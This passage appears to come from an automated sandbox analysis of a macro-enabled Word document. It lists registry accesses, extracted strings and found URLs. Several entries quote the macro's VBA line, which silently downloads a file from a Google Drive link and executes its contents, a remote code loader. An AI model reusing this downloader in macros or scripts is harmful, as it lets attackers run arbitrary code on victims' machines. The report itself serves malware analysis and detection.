FTWARE\POLICIES\MICROSOFT\OFFICE\COMMON1012936716,$STATUS,C00000341012936781,QUERYVAL,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE\COMMON,QMPERSNUM1012936781,$STATUS,C00000341012936865,QUERY,HKLM,\REGISTRY\MACHINE1012936918,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\PRODUCTVERSION1012936974,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\PRODUCTVERSION,LASTPRODUCT1012937155,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-10011012937211,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD1012937256,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD1012937300,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY1012937364,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY1012937404,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS1012937468,DELETEVAL,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS,)"<")38:T68f,"WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "")39:Tb18,"WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "WINWORD"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "WIN31FILESYSTEM"; Value: "")3a:Tba2,Found string "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t""," (Indicator: "drive.google.com"; File: "NewMacros.bas") Found string """https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t""," (Indicator: "drive.google.com"; File: "NewMacros.bas") Found string "https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t" (Indicator: "drive.google.com"; File: "NewMacros.bas") file/memory contains long string with (Indicator: "drive.google.com"; File: "~WRF_C6CCBB01-F7C9-4B64-9E12-541B56CD3634_.tmp") Found string "On Error Resume Next:Set mx = CreateObject("MSXML2.ServerXMLHTTP"):mx.open "GET", "https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t", False:mx.Send:Execute(mx.responseText)" (Indicator: "drive.google.com"; File: "~WRD0002.tmp") Found string "drive.google.com" (Indicator: "drive.google.com"; File: "PCAP") Found string "On Error Resume Next:Set mx = CreateObject("MSXML2.ServerXMLHTTP"):mx.open "GET", "https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t", False:mx.Send:Execute(mx.responseText)" (Indicator: "drive.google.com"; Source: "00000000-00005060.00000000.129433.5B040000.00000004.mdmp") Found string "n Error Resume Next:Set mx = CreateObject("MSXML2.ServerXMLHTTP"):mx.open "GET", "https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t", False:mx.Send:Execute(mx.responseText)" (Indicator: "drive.google.com"; Source: "00000000-00005060.00000000.129433.5B040000.00000004.mdmp") Found string "drive.google.com" (Indicator: "drive.google.com"; Source: "00000000-00005060.00000000.129433.5B040000.00000004.mdmp, 00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found string "ttps://drive.google.com/" (Indicator: "drive.google.com"; Source: "00000000-00005060.00000000.129433.5B040000.00000004.mdmp, 00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found string "https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t" (Indicator: "drive.google.com"; Source: "00000000-00005060.00000000.129433.5B040000.00000004.mdmp, 00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found string "Host: drive.google.com" (Indicator: "drive.google.com"; Source: "00000000-00005060.00000000.129433.5B040000.00000004.mdmp") Found string "drive.google.com0" (Indicator: "drive.google.com"; Source: "00000000-00005060.00000000.129433.5B220000.00000004.mdmp, 00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found string "ttps://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t" (Indicator: "drive.google.com"; Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found string "https://drive.google.com/" (Indicator: "drive.google.com"; Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp")3b:T4be,Observed email domain:"http""):mx.open" [Source: NewMacros.bas] Observed email domain:"createobject(""msxml2.serverxmlhttp""):mx.open" [Source: NewMacros.bas] Observed email domain:"mx.open" [Source: NewMacros.bas] Observed email domain:"mx.send" [Source: NewMacros.bas] Observed email domain:"mx.responsetext" [Source: NewMacros.bas] Observed email domain:"on error resume next:set mx = createobject("msxml2.serverxmlhttp"):mx.open "get", "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t", false:mx.send:execute(mx.responsetext)" [Source: ~WRD0002.tmp] Observed email domain:"on error resume next:set mx = createobject("msxml2.serverxmlhttp"):mx.open "get", "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t", false:mx.send:execute(mx.responsetext)" [Source: 00000000-00005060.00000000.129433.5B040000.00000004.mdmp] Observed email domain:"n error resume next:set mx = createobject("msxml2.serverxmlhttp"):mx.open "get", "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t", false:mx.send:execute(mx.responsetext)" [Source: 00000000-00005060.00000000.129433.5B040000.00000004.mdmp]3c:T2d23,Pattern match: "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t" Heuristic match: "drive.google.com" Heuristic match: "drive.usercontent.google.com" Pattern match: "5be.iv/zx\_x" Pattern match: "https://drive.usercontent.google.c" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74408&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%d" Pattern match: "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Heuristic match: "rive.usercontent.google.com" Heuristic match: "rive.google.com" Heuristic match: "*.usercontent.google.com" Heuristic match: "usercontent.google.com" Heuristic match: "*.usercontent.sandbox.google.com" Heuristic match: "fife.google.com" Heuristic match: "*.fife.google.com" Heuristic match: "fife.usercontent.google.com" Heuristic match: "*.fife.usercontent.google.com" Heuristic match: "usercontent.youtube.com" Heuristic match: "*.usercontent.youtube.com" Heuristic match: "$lti.workspace.usercontent.google.com" Pattern match: "http://www.digicert.com/cps0" Pattern match: "http://schemas.xmlsoap.org/ws/2004/09/policy" Pattern match: "www.digicert.com1$0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://www.microsoft.com0" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.google.com/images/errors/robot.png" Pattern match: "https://drive.usercontent.google.com/" Heuristic match: "host: drive.google.com" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Heuristic match: "*.google.com" Heuristic match: "*.appengine.google.com" Heuristic match: "*.cloud.google.com" Heuristic match: "*.crowdsource.google.com" Heuristic match: "*.datacompute.google.com" Heuristic match: "*.google.ca" Heuristic match: "*.google.cl" Heuristic match: "*.google.co.in" Heuristic match: "*.google.co.jp" Heuristic match: "*.google.co.uk" Heuristic match: "*.google.com.ar" Heuristic match: "*.google.com.au" Heuristic match: "*.google.com.br" Heuristic match: "*.google.com.co" Heuristic match: "*.google.com.mx" Heuristic match: "*.google.com.tr" Heuristic match: "*.google.com.vn" Heuristic match: "*.google.de" Heuristic match: "*.google.es" Heuristic match: "*.google.fr" Heuristic match: "*.google.hu" Heuristic match: "*.google.it" Heuristic match: "*.google.nl" Heuristic match: "*.google.pl" Heuristic match: "*.google.pt" Heuristic match: "*.googleapis.cn" Heuristic match: "*.googlevideo.com" Heuristic match: "*.gstatic.cn" Heuristic match: "*.gstatic-cn.com" Heuristic match: "googlecnapps.cn" Heuristic match: "*.googlecnapps.cn" Heuristic match: "googleapps-cn.com" Heuristic match: "*.googleapps-cn.com" Heuristic match: "gkecnapps.cn" Heuristic match: "*.gkecnapps.cn" Heuristic match: "googledownloads.cn" Heuristic match: "*.googledownloads.cn" Heuristic match: "recaptcha.net.cn" Heuristic match: "*.recaptcha.net.cn" Heuristic match: "recaptcha-cn.net" Heuristic match: "*.recaptcha-cn.net" Heuristic match: "widevine.cn" Heuristic match: "*.widevine.cn" Heuristic match: "ampproject.org.cn" Heuristic match: "*.ampproject.org.cn" Heuristic match: "ampproject.net.cn" Heuristic match: "*.ampproject.net.cn" Heuristic match: "google-analytics-cn.com" Heuristic match: "*.google-analytics-cn.com" Heuristic match: "googleadservices-cn.com" Heuristic match: "*.googleadservices-cn.com" Heuristic match: "googlevads-cn.com" Heuristic match: "*.googlevads-cn.com" Heuristic match: "googleapis-cn.com" Heuristic match: "*.googleapis-cn.com" Heuristic match: "googleoptimize-cn.com" Heuristic match: "*.googleoptimize-cn.com" Heuristic match: "doubleclick-cn.net" Heuristic match: "*.doubleclick-cn.net" Heuristic match: "*.fls.doubleclick-cn.net" Heuristic match: "*.g.doubleclick-cn.net" Heuristic match: "doubleclick.cn" Heuristic match: "*.doubleclick.cn" Heuristic match: "*.fls.doubleclick.cn" Heuristic match: "*.g.doubleclick.cn" Heuristic match: "dartsearch-cn.net" Heuristic match: "*.dartsearch-cn.net" Heuristic match: "googletraveladservices-cn.com" Heuristic match: "*.googletraveladservices-cn.com" Heuristic match: "googletagservices-cn.com" Heuristic match: "*.googletagservices-cn.com" Heuristic match: "googletagmanager-cn.com" Heuristic match: "*.googletagmanager-cn.com" Heuristic match: "googlesyndication-cn.com" Heuristic match: "*.googlesyndication-cn.com" Heuristic match: "$*.safeframe.googlesyndication-cn.com" Heuristic match: "app-measurement-cn.com" Heuristic match: "*.app-measurement-cn.com" Heuristic match: "gvt1-cn.com" Heuristic match: "*.gvt1-cn.com" Heuristic match: "gvt2-cn.com" Heuristic match: "*.gvt2-cn.com" Heuristic match: "2mdn-cn.net" Heuristic match: "*.2mdn-cn.net" Heuristic match: "googleflights-cn.net" Heuristic match: "*.googleflights-cn.net" Heuristic match: "admob-cn.com" Heuristic match: "*.admob-cn.com" Heuristic match: "googlesandbox-cn.com" Heuristic match: "*.googlesandbox-cn.com" Heuristic match: "*.safenup.googlesandbox-cn.com" Heuristic match: "*.gstatic.com" Heuristic match: "*.metric.gstatic.com" Heuristic match: "*.gvt1.com" Heuristic match: "*.gcpcdn.gvt1.com" Heuristic match: "*.gvt2.com" Heuristic match: "*.gcp.gvt2.com" Heuristic match: "*.url.google.com" Heuristic match: "*.youtube-nocookie.com" Heuristic match: "*.ytimg.com" Heuristic match: "android.com" Heuristic match: "*.android.com" Heuristic match: "*.flash.android.com" Heuristic match: "*.g.cn" Heuristic match: "*.g.co" Heuristic match: "goo.gl" Pattern match: "www.goo.gl" Heuristic match: "google-analytics.com" Heuristic match: "*.google-analytics.com" Heuristic match: "google.com" Heuristic match: "googlecommerce.com" Heuristic match: "*.googlecommerce.com" Heuristic match: "ggpht.cn" Heuristic match: "*.ggpht.cn" Heuristic match: "urchin.com" Heuristic match: "*.urchin.com" Heuristic match: "youtu.be" Heuristic match: "youtube.com" Heuristic match: "*.youtube.com" Heuristic match: "music.youtube.com" Heuristic match: "*.music.youtube.com" Heuristic match: "youtubeeducation.com" Heuristic match: "*.youtubeeducation.com" Heuristic match: "youtubekids.com" Heuristic match: "*.youtubekids.com" Heuristic match: "yt.be" Heuristic match: "*.yt.be" Heuristic match: "android.clients.google.com" Heuristic match: "*.android.google.cn" Heuristic match: "*.chrome.google.cn" Heuristic match: "*.developers.google.cn" Pattern match: "https://google.com/" Pattern match: "https://drive.usercontent.google.com/download?id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&export=download" Heuristic match: "oogle.com" Pattern match: "drive.usercontent.google.com/download?id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&export=download" Heuristic match: "e.com" Heuristic match: "ntrust.net" Heuristic match: "nt.google.com" Heuristic match: "rcontent.google.com" Pattern match: "drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t" Heuristic match: "1drive.usercontent.google.com" Pattern match: "https://drive.usercontent.google.com/download?id=1sodzdxjed9t-yp" Heuristic match: "{qine.cn" Heuristic match: "b-cn.com" Heuristic match: "host: drive.usercontent.google.com" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Heuristic match: "erce.com" Heuristic match: "xcn.net" Heuristic match: "j.net" Heuristic match: "-cn.com" Heuristic match: "n.net" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1/0-" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Heuristic match: "ogle.com" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "https://drive.google.com/" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Pattern match: "g.co/p3phelp" Pattern match: "www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png"3d:T2c84,Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00005060.00000000.129433.1BEA8000.00000002.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00005060.00000000.129433.29822000.00000002.mdmp") Found URL "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t" - Source: "00000000-00005060.00000000.129433.5B040000.00000004.mdmp") Found URL "http://www.digicert.com/cps002g4p2g4userdomain_roamingprofile=desktop-fvvf82apsismyfiletype" - Source: "00000000-00005060.00000000.129433.5B040000.00000004.mdmp") Found URL "http://schemas.xmlsoap.org/ws/2004/09/policy" - Source: "00000000-00005060.00000000.129433.5B040000.00000004.mdmp") Found URL "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=tdrive.google.comdrive.google.comdrive.google.comsafd" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "https://google.com/ur" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "https://drive.usercontent.google.com/download?id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&export=downloadrpc" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "https://drive.usercontent.google.com/download?id=1sodzdxjed9t-ypsubcasoftware\policies\microsoft\internet" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "https://drive.usercontent.google.com/download?id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&export=downloadregistry\user\s-1-5-21-735145574-3570218355-1207367261-1001_classes\interface\" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "https://drive.usercontent.google.com/download?id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&export=downloadstrict-transport-security:" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czco!yjdecdthawte," - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005060.00000000.129433.5D8E0000.00000004.mdmp") Found URL 